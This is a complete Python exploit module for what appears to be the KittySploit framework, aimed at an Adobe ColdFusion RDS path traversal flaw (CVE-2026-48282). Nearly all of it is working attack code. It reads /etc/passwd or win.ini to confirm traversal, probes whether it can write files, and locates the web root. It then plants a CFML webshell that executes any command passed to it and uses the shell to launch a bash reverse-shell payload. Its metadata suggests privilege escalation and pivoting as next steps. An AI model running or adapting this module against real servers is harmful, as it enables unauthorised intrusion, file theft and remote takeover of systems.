Adobe ColdFusion RDS path traversal RCE (CVE-2026-48282)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import textwrap
from typing import Optional, Tuple

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Adobe ColdFusion RDS path traversal RCE (CVE-2026-48282)",
        "description": (
            "CVE-2026-48282: Adobe ColdFusion Remote Development Service (RDS) exposes "
            "/CFIDE/main/ide.cfm without authentication on affected builds. Path traversal "
            "allows arbitrary file read/write and CFML webshell deployment for remote code "
            "execution. Affected: ColdFusion 2025 <= Update 9, ColdFusion 2023 <= Update 20."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-48282"],
        "platform": Platform.MULTI,
        "references": [],
        "tags": [
            "adobe",
            "coldfusion",
            "rds",
            "path-traversal",
            "cfml",
            "rce",
            "cve-2026-48282",
        ],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation"],
            "expected_requests": 12,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.5,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["coldfusion", "cfml"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": ["/CFIDE/"],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": ""},
                    {"capability": "shell", "from_detail": ""},
                    {"capability": "file_read", "from_detail": "rds_path"},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [
                    "post/shell/multi/gather/privesc_suggester",
                    "post/shell/multi/manage/pivot_autoroute",
                ],
            },
        },
    }

    RDS_ENDPOINT = "/CFIDE/main/ide.cfm"
    RDS_CONTENT_TYPE = "application/x-ColdFusionIDE"
    RDS_USER_AGENT = "Dreamweaver-RDS-SCM1.00"

    ENDPOINT_VARIANTS = [
        "/CFIDE/main/ide.cfm",
        "/CFIDE/main/ide.cfm?ACTION=fileio",
        "/CFIDE/main/ide.cfm?CFSRV=IDE&ACTION=BrowseDir_Studio",
    ]

    CF_WEBROOTS = [
        "C:\\ColdFusion2025\\cfusion\\wwwroot\\",
        "C:\\ColdFusion2023\\cfusion\\wwwroot\\",
        "C:\\ColdFusion2021\\cfusion\\wwwroot\\",
        "C:\\ColdFusion11\\cfusion\\wwwroot\\",
        "C:\\ColdFusion10\\cfusion\\wwwroot\\",
        "C:\\ColdFusion9\\wwwroot\\",
        "C:\\inetpub\\wwwroot\\",
        "C:\\xampp\\htdocs\\",
        "C:\\Apache24\\htdocs\\",
        "/opt/coldfusion2025/cfusion/wwwroot/",
        "/opt/coldfusion2023/cfusion/wwwroot/",
        "/opt/coldfusion2021/cfusion/wwwroot/",
        "/opt/coldfusion11/cfusion/wwwroot/",
        "/var/www/html/",
        "/var/www/",
    ]

    CANARY_FILES = {
        "windows": "C:\\Windows\\win.ini",
        "linux": "/etc/passwd",
    }

    TRAVERSAL_PAYLOADS = [
        "",
        "../",
        "../../",
        "../../../",
        "../../../../",
        "../../../../../",
        "../../../../../../",
        "..%2f",
        "%2e%2e/",
        "%2e%2e%2f",
        "..\\",
        "..\\..\\",
        "..\\..\\..\\",
        "..\\..\\..\\..\\",
    ]

    port = OptPort(8500, "ColdFusion HTTP port", True)
    ssl = OptBool(False, "Use HTTPS", True, advanced=True)
    action = OptChoice(
        "exploit",
        "Module action: deploy webshell and run payload, read a file, or check only",
        required=False,
        choices=["exploit", "read", "check"],
    )
    file_read = OptString(
        "",
        "Remote file path to read when action=read (e.g. /etc/passwd or C:\\Windows\\win.ini)",
        required=False,
    )
    webroot = OptString(
        "",
        "ColdFusion web root on the target filesystem (auto-detected when empty)",
        required=False,
    )
    os_type = OptChoice(
        "",
        "Force target OS (auto-detected when empty)",
        required=False,
        choices=["", "windows", "linux"],
    )
    browse_path = OptString(
        "",
        "Remote directory to browse (informational; advanced)",
        required=False,
        advanced=True,
    )
    output_file = OptString("", "Local file to write retrieved content", required=False)
    output_limit = OptInteger(
        12000,
        "Max characters to print when output_file is empty (0 = full)",
        required=False,
        advanced=True,
    )
    verify_cmd = OptString("id", "Command used to verify webshell execution", required=False)
    skip_write_probe = OptBool(
        False,
        "Skip write-capability probe during check()",
        required=False,
        advanced=True,
    )

    def _timeout(self) -> int:
        return max(int(self.timeout or 15), 15)

    def _verify_ssl(self) -> bool:
        verify = self.verify_ssl
        if hasattr(verify, "value"):
            verify = verify.value
        return bool(verify)

    def _rds_headers(self) -> dict:
        return {
            "User-Agent": self.RDS_USER_AGENT,
            "Content-Type": self.RDS_CONTENT_TYPE,
        }

    @staticmethod
    def _rds_encode(*fields: str) -> str:
        parts = []
        for val in fields:
            parts.append(f"STR:{len(val)}:{val}")
        return f"{len(fields)}:{''.join(parts)}"

    def _rds_read_file(self, path: str) -> str:
        return self._rds_encode(path, "READ", "", "")

    def _rds_write_file(self, path: str, content: str) -> str:
        return self._rds_encode(path, "WRITE", "", content)

    def _rds_browse_dir(self, path: str) -> str:
        return self._rds_encode(path, "*", "")

    def _parse_rds_response(self, text: str) -> str:
        if not text:
            return ""
        if text.startswith("-1:") or text.startswith("-100:"):
            return ""
        if ":" in text and text[0].isdigit():
            parts = text.split(":", 2)
            if len(parts) >= 3:
                return parts[2]
            return text
        return text

    def _send_rds(self, body: str, endpoint_path: str) -> Optional[object]:
        try:
            return self.http_request(
                method="POST",
                path=endpoint_path,
                data=body,
                headers=self._rds_headers(),
                timeout=self._timeout(),
                allow_redirects=False,
            )
        except Exception:
            return None

    def _iter_endpoints(self, preferred: str = "") -> list:
        seen = set()
        ordered = []
        for candidate in [preferred] + list(self.ENDPOINT_VARIANTS):
            if not candidate or candidate in seen:
                continue
            seen.add(candidate)
            ordered.append(candidate)
        return ordered

    def _check_alive(self) -> bool:
        body = self._rds_browse_dir("/")
        for variant in self.ENDPOINT_VARIANTS:
            resp = self._send_rds(body, variant)
            if resp is not None and resp.status_code is not None:
                return True
        return False

    @staticmethod
    def _looks_like_win_ini(text: str) -> bool:
        lowered = (text or "").lower()
        return (
            "[fonts]" in lowered
            or ("windows" in lowered and "ini" in lowered)
            or "citect" in lowered
        )

    @staticmethod
    def _looks_like_passwd(text: str) -> bool:
        return bool(
            text
            and (
                "root:" in text
                or "daemon:" in text
                or ("bin/" in text and "bash" in text)
            )
        )

    def _check_canary(
        self,
        path: str,
        os_hint: str,
        prefix: str,
    ) -> Tuple[bool, str, str, str]:
        body = self._rds_read_file(path)
        for variant in self.ENDPOINT_VARIANTS:
            resp = self._send_rds(body, variant)
            if not resp or resp.status_code != 200:
                continue
            raw = resp.text or ""
            parsed = self._parse_rds_response(raw)
            check_text = raw if len(raw) > len(parsed) else parsed
            if len(check_text) < 10:
                continue
            if os_hint == "windows" and self._looks_like_win_ini(check_text):
                return True, os_hint, prefix, variant
            if os_hint == "linux" and self._looks_like_passwd(check_text):
                return True, os_hint, prefix, variant
        return False, "", "", ""

    def _detect_vulnerability(self) -> Tuple[bool, str, str, str]:
        forced = str(self.os_type or "").strip().lower()
        os_order = []
        if forced in ("windows", "linux"):
            os_order = [forced]
        else:
            os_order = ["windows", "linux"]

        for os_hint in os_order:
            canary = self.CANARY_FILES[os_hint]
            for prefix in self.TRAVERSAL_PAYLOADS:
                if os_hint == "windows":
                    path = prefix + canary.lstrip("\\")
                else:
                    path = prefix + canary.lstrip("/")
                found, detected_os, eff_prefix, endpoint = self._check_canary(
                    path,
                    os_hint,
                    prefix,
                )
                if found:
                    return True, detected_os, eff_prefix, endpoint
        return False, forced if forced else "", "", ""

    def _read_remote_file(self, path: str, active_endpoint: str = "") -> Optional[str]:
        body = self._rds_read_file(path)
        for endpoint in self._iter_endpoints(active_endpoint):
            resp = self._send_rds(body, endpoint)
            if resp and resp.status_code == 200 and (resp.text or ""):
                parsed = self._parse_rds_response(resp.text or "")
                return parsed if parsed else resp.text
        return None

    def _write_remote_file(self, path: str, content: str, active_endpoint: str = "") -> bool:
        body = self._rds_write_file(path, content)
        for endpoint in self._iter_endpoints(active_endpoint):
            resp = self._send_rds(body, endpoint)
            if not resp or resp.status_code != 200:
                continue
            text = resp.text or ""
            if "Unable to authenticate" not in text:
                return True
        return False

    def _browse_remote_dir(self, path: str, active_endpoint: str = "") -> Optional[str]:
        body = self._rds_browse_dir(path)
        browse_endpoints = [
            "/CFIDE/main/ide.cfm?CFSRV=IDE&ACTION=BrowseDir_Studio",
            "/CFIDE/main/ide.cfm?ACTION=BrowseDir",
            active_endpoint,
        ]
        for endpoint in self._iter_endpoints(""):
            if endpoint not in browse_endpoints:
                browse_endpoints.append(endpoint)

        for endpoint in browse_endpoints:
            if not endpoint:
                continue
            resp = self._send_rds(body, endpoint)
            if not resp or resp.status_code != 200:
                continue
            text = resp.text or ""
            if len(text) <= 2:
                continue
            if "Unsupported file operation" in text or "NullPointerException" in text:
                continue
            return text
        return None

    def _probe_write(self, os_type: str, active_endpoint: str) -> bool:
        token = self.random_text(8).lower()
        if os_type == "windows":
            probe_path = f"C:\\Windows\\Temp\\ks_{token}.txt"
        else:
            probe_path = f"/tmp/ks_{token}.txt"
        marker = f"kittysploit-{token}"
        if not self._write_remote_file(probe_path, marker, active_endpoint=active_endpoint):
            return False
        content = self._read_remote_file(probe_path, active_endpoint=active_endpoint) or ""
        self._write_remote_file(probe_path, " ", active_endpoint=active_endpoint)
        return marker in content

    def _find_webroot(self, os_type: str, active_endpoint: str) -> str:
        manual = str(self.webroot or "").strip()
        if manual:
            return manual

        print_status("Searching for ColdFusion web root...")
        for root in self.CF_WEBROOTS:
            if os_type == "windows" and not root.startswith("C:"):
                continue
            if os_type == "linux" and root.startswith("C:"):
                continue
            result = self._browse_remote_dir(root, active_endpoint=active_endpoint)
            if result:
                print_success(f"Found web root: {root}")
                return root

        print_warning("Could not identify web root automatically")
        return ""

    def _shell_path(self, webroot: str, shell_name: str, os_type: str) -> str:
        if os_type == "windows":
            return webroot.rstrip("\\") + "\\" + shell_name
        return webroot.rstrip("/") + "/" + shell_name

    def _webshell_content(self, cmd: str = "") -> str:
        if cmd:
            return textwrap.dedent(
                f"""\
                <cfexecute name="{cmd}" variable="output" timeout="30" />
                <cfoutput>#output#</cfoutput>
                """
            )
        return textwrap.dedent(
            """\
            <cfif isDefined("url.cmd")>
                <cfexecute name="#url.cmd#" variable="output" timeout="30" />
                <pre><cfoutput>#output#</cfoutput></pre>
            </cfif>
            """
        )

    def _shell_url(self, shell_name: str) -> str:
        return f"/{shell_name}"

    def _invoke_shell(self, shell_name: str, cmd: str) -> str:
        resp = self.http_request(
            method="GET",
            path=self._shell_url(shell_name),
            params={"cmd": cmd},
            timeout=self._timeout(),
            allow_redirects=True,
        )
        if not resp or resp.status_code != 200:
            return ""
        return (resp.text or "").strip()

    def _emit_output(self, data: str, label: str) -> bool:
        if not data:
            return False
        local = str(self.output_file or "").strip()
        if local:
            try:
                with open(local, "w", encoding="utf-8", errors="ignore") as fh:
                    fh.write(data)
                print_success(f"Wrote {len(data)} bytes from {label} to {local}")
            except OSError as exc:
                print_error(f"Could not write output_file: {exc}")
                return False
            return True

        limit = int(self.output_limit or 0)
        if limit > 0 and len(data) > limit:
            print_info(data[:limit] + "\n... [truncated]")
        else:
            print_info(data)
        return True

    def check(self):
        if not self._check_alive():
            return {
                "vulnerable": False,
                "reason": "RDS endpoint /CFIDE/main/ide.cfm is not reachable",
                "confidence": "medium",
            }

        is_vuln, detected_os, prefix, endpoint = self._detect_vulnerability()
        if not is_vuln:
            return {
                "vulnerable": False,
                "reason": "RDS is reachable but canary file read did not confirm traversal",
                "confidence": "low",
            }

        write_ok = True
        if not self.skip_write_probe:
            write_ok = self._probe_write(detected_os, endpoint)

        reason = (
            f"CVE-2026-48282 confirmed via RDS file read ({self.CANARY_FILES.get(detected_os, 'canary')})"
        )
        if prefix:
            reason += f"; traversal prefix {prefix!r}"
        if endpoint:
            reason += f"; endpoint {endpoint}"
        if not write_ok:
            reason += "; WRITE probe failed (read-only RDS — RCE unlikely)"

        return {
            "vulnerable": True,
            "reason": reason,
            "details": detected_os,
            "confidence": "high" if write_ok else "medium",
            "write_capable": write_ok,
        }

    def run(self):
        action = str(self.action or "exploit").strip().lower()
        if not self._check_alive():
            print_error("RDS endpoint is not reachable (RDS may be disabled)")
            return False

        print_success("RDS endpoint is reachable")

        forced_os = str(self.os_type or "").strip().lower()
        is_vuln, detected_os, prefix, active_endpoint = self._detect_vulnerability()
        if forced_os in ("windows", "linux"):
            detected_os = forced_os
        elif not detected_os and is_vuln:
            detected_os = "linux"

        if is_vuln:
            print_success(f"Path traversal confirmed (OS: {detected_os or 'unknown'})")
            if prefix:
                print_info(f"Effective traversal prefix: {prefix!r}")
            if active_endpoint:
                print_info(f"Active RDS endpoint: {active_endpoint}")
        else:
            print_warning("Automatic vulnerability detection failed; continuing with configured options")

        browse = str(self.browse_path or "").strip()
        if browse:
            listing = self._browse_remote_dir(browse, active_endpoint=active_endpoint)
            if listing:
                print_success(f"Directory listing for {browse}")
                self._emit_output(listing, browse)
            else:
                print_error(f"Failed to browse directory: {browse}")

        if action == "check":
            result = self.check()
            if result.get("vulnerable"):
                print_success(result.get("reason", "Target appears vulnerable"))
                if result.get("write_capable") is False:
                    print_warning("RDS appears read-only; use action=read instead of exploit")
                return True
            print_error(result.get("reason", "Target does not appear vulnerable"))
            return False

        if action == "read":
            remote_path = str(self.file_read or "").strip()
            if not remote_path:
                print_error("file_read is required when action=read")
                return False
            print_status(f"Reading remote file: {remote_path}")
            content = self._read_remote_file(remote_path, active_endpoint=active_endpoint)
            if not content:
                print_error("File read failed (empty response or blocked)")
                return False
            print_success("Arbitrary file read succeeded")
            return self._emit_output(content, remote_path)

        if not detected_os:
            print_error("Unable to determine target OS; set os_type to windows or linux")
            return False

        write_ok = self._probe_write(detected_os, active_endpoint)
        if not write_ok:
            print_error("RDS WRITE is blocked (read-only). Use action=read to extract files.")
            return False

        webroot = self._find_webroot(detected_os, active_endpoint)
        if not webroot:
            print_error("Web root not found; set webroot manually")
            return False

        payload_cmd = str(self.payload or "").strip()
        if not payload_cmd:
            print_error("No payload configured")
            return False

        shell_name = f"ks_{self.random_text(8).lower()}.cfm"
        shell_path = self._shell_path(webroot, shell_name, detected_os)
        shell_content = self._webshell_content()

        print_status(f"Deploying CFML webshell to {shell_path}")
        if not self._write_remote_file(shell_path, shell_content, active_endpoint=active_endpoint):
            print_error("Webshell deployment failed")
            return False

        print_success(f"Webshell deployed: {self._shell_url(shell_name)}")

        verify = str(self.verify_cmd or "").strip()
        if verify:
            print_status(f"Verifying execution with command: {verify}")
            output = self._invoke_shell(shell_name, verify)
            if output:
                print_success("Webshell command execution verified")
                print_info(output[:2000])
            else:
                print_warning("Verification command returned no output; continuing with payload")

        print_status("Triggering payload via webshell")
        triggered = self._invoke_shell(shell_name, payload_cmd)
        if triggered:
            print_success("Payload invocation request completed")
            return True

        print_warning("Payload invocation returned no output; reverse shell may still connect")
        return True